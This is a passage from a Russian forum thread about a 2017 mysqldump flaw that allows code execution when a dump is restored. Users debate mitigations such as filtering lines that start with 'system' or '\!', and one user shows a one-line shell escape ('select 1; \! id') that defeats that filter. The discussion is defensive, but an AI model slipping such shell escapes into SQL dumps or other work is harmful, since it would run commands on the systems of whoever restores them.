Сообщение от KonstantinB (ok) on 11-Мрт-17, 17:43 
> что очень неудобно, поскольку обычная практика - не хранить пароли юзеров

Это, кстати, проблема именно mysql.
В postgresql это решаемо.

Ответить | Правка | ^ к родителю #35 | Наверх | Cообщить модератору

79. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от mickvav on 14-Мрт-17, 14:27 
Отложить в сторонку хеш пароля пользователя, установить случайный длинный, прийти под этим паролем, поднять дамп, вернуть хеш на место - это как-то уже слишком сложно, да?
Ответить | Правка | ^ к родителю #38 | Наверх | Cообщить модератору

41. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –1 +/
Сообщение от Alex_K email(??) on 11-Мрт-17, 19:03 
Как вариант перед импортом дампа вырезать из него строки, которые начинаются с system или \!
Ответить | Правка | ^ к родителю #28 | Наверх | Cообщить модератору

46. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от angra (ok) on 11-Мрт-17, 21:29 
Ну вот какую глупость только не придумают, лишь бы не делать правильно. Ну выполни в клиенте такую строку:
select 1; \! id
Ответить | Правка | ^ к родителю #41 | Наверх | Cообщить модератору

50. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –1 +/
Сообщение от Аноним (??) on 11-Мрт-17, 21:46 
Аутиста по решению важных вопросов видно из-далека.
Ответить | Правка | ^ к родителю #41 | Наверх | Cообщить модератору

55. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Анон_ on 12-Мрт-17, 00:07 
> Как вариант перед импортом дампа вырезать из него строки, которые начинаются с
> system или \!

правильная обработка untrusted input заключается ровно в обратном - вырезать все строки, содержащие что-либо кроме create/insert в правильном sql-синтаксисе.

проблема в том, что сама строка create с переводами строки - в правильном sql-синтаксисе, и правильно работает, проблемы будут потом у того, кто этот дамп еще где-то попытается залить без двойного презерватива.

Ответить | Правка | ^ к родителю #41 | Наверх | Cообщить модератору

58. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Сифилис on 12-Мрт-17, 01:49 
Двойной тоже рвется
Ответить | Правка | ^ к родителю #55 | Наверх | Cообщить модератору

42. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –1 +/
Сообщение от Аноним (??) on 11-Мрт-17, 19:31 
В MySQL все еще не завезли нормальные ACL для разграничения Events, Trigger, ...?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

62. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от gogo on 12-Мрт-17, 21:08 
Вообще, это большой пласт проблем, на которые в mysql никогда даже не хотели разговаривать.
Безопасно восстановить чужой дамп от имени рута - это общая, тривиальная задача, которая НЕ реализована в mysql/mariadb.

Начиная с того, что в дампе могут встретится команды use databasename. И заканчивая опубликованным. Какой смысл, что я даю команду "mysql имя_базы < дамп", если я не могу быть уверенным, что данные попадут именно в эту базу?

Если я должен использовать какие-то сторонние средства, типа использовать логин/пароль юзера, то почему это нельзя реализовать средствами самой утилиты mysql? Или, например, такой функционал должен быть вынесен в mysqladmin, который в принципе подразумевает, что он будет использоваться только админом.

По аналогии с "tar -x", подобные команды должны быть в mysql/mariadb безопасными, с точки зрения рута.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

63. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –1 +/
Сообщение от Аноним (??) on 12-Мрт-17, 21:26 
MySQL - Legacy РСБД с грязными хаками как IE6 для веб-макак.

Не имеет ничего общего со стандартизированными или современными решениями включая PgSQL.

Ответить | Правка | ^ к родителю #62 | Наверх | Cообщить модератору

73. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от пох on 13-Мрт-17, 13:15 
> MySQL - Legacy РСБД с грязными хаками как IE6 для веб-макак.

была бы она не для веб-макак, было бы пофигу, что там нет нормального restore. Энтерпрайзную базу я восстанавливаю без особой опаски - туда чужие не ходят.

> Не имеет ничего общего со стандартизированными или современными решениями включая PgSQL.

о, да. vacuum full не имеет (сколько лет вам читают мантру что он deprecated, и мы его
вообще скоро уберем, если не в следующей версии, то хотя бы через одну - точно?)
Если что - эта радость, вместе с форматом хранения, вызвавшим ее к жизни, унаследована от postgres95 (и да, это год, а предыдущее слово говорит, кто и зачем эту хрень придумал), где у ее существования было вполне понятное
основание, а идеи использовать ЭТО в продакшне у тех постдоков не было и быть не могло, исключительно исследовательский проект для написания диссера (и докторской руководителем).

Ответить | Правка | ^ к родителю #63 | Наверх | Cообщить модератору

67. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –2 +/
Сообщение от Ydro on 13-Мрт-17, 08:22 
Ну, всё, конец света, вырубайте комп. А прогнать дамп на поиск сочетания нежелательных ключевых слов не судьба?
Ответить | Правка | ^ к родителю #62 | Наверх | Cообщить модератору

74. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +2 +/
Сообщение от пох on 13-Мрт-17, 13:24 
> Ну, всё, конец света, вырубайте комп. А прогнать дамп на поиск сочетания
> нежелательных ключевых слов не судьба?

а в дампе - статья с опеннета, описывающая проблему.
(ну либо вовсе статья о разработке/администреже mysql)
Причем она начинается со второго гигабайта этого дампа.

Тебе нужен полноценный парсер sql-синтаксиса, старательно обходящий ескейпинги, нерегулярности и чудеса собственно mysqldump. Та еще жопа. Я до сих пор бережно храню regex, вырезающий из дампа (статичного и с точно известной начинкой) нужные поля, сам ниасилил.

Ответить | Правка | ^ к родителю #67 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру